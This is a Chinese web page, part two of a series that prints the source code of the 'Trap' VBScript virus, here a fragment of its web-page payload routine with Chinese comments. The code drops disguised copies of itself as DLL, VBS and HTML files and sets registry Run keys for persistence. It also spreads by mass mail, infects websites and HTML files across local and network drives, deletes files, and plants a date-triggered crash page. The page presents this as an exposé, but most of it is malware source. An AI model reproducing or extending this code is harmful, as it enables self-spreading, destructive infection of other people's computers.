“陷阱”病毒源代码大揭密[2]

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 thexiao 的 blog

end if

end sub

function geterr() 忽略错误

if err.number<>0 then

geterr=true

err.clear

else

geterr=false

end if

end function

sub executepage() 'web 页状态时的程序

on error resume next

dim html_str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

vbs_str = getscriptcode("vbscript") '得到 vbscript 代码

js_str = getjavascript() ' 得到 javascript 代码

code_str = makescript(encrypt(vbs_str),true) '得到已加密过的脚本代码

html_str = makehtml(encrypt(vbs_str), true) '得到已加密的完整html代码

gf

'定义病毒文件的路径

wdsf = w2 & "mdm.vbs"

wdsf2 = w1 & "profile.vbs"

wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人

wdf2 = w2 & "readme.html"

wdf3 = w2 & "system.dll"

'创建病毒文件

set vf = fso.opentextfile (wdf, 2, true)

vf.write vbs_str

vf.close

set vf = fso.opentextfile (wdsf, 2, true)

vf.write vbs_str

vf.close

set vf = fso.opentextfile (wdsf2, 2, true)

vf.write vbs_str

vf.close

set vf = fso.opentextfile (wdf2, 2, true)

vf.write html_str

vf.close

set vf = fso.opentextfile (wdf3, 2, true)

vf.write code_str

vf.close

修改注册表,让病毒文件在每一次计算机启动自动执行

writereg mswkey & "currentversion\run\mdm", wdsf, ""

writereg mswkey & "currentversion\runservices\profile", wdsf2, ""

sendmail ' 执行发送邮件程序

hackpage ' 执行感染网站程序

set adi = fso.drives

for each x in adi

if x.drivestype = 2 or x.drivestype = 3 then '遍历所有本地硬盘和网络共享硬盘

call searchhtml(x & "\") '执行文件感染程序

end if

next

if testuser then '检查用戶

killhe 执行删除文件操作

else

if month(date) & day(date) = "75" then '如系统时间为 7月5日

set vf = fso.opentextfile(w2 & "75.htm", 2,true) 创建系统攻击文件

vf.write makescript ("window.navigate ('c:/con/con');", false)

vf.close

writereg mswkey & "currentversion\run\75", w2 & "75.htm", "" '自动启动

本文关键:trap, 病毒, virus, 陷阱, vbscript, javascript
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top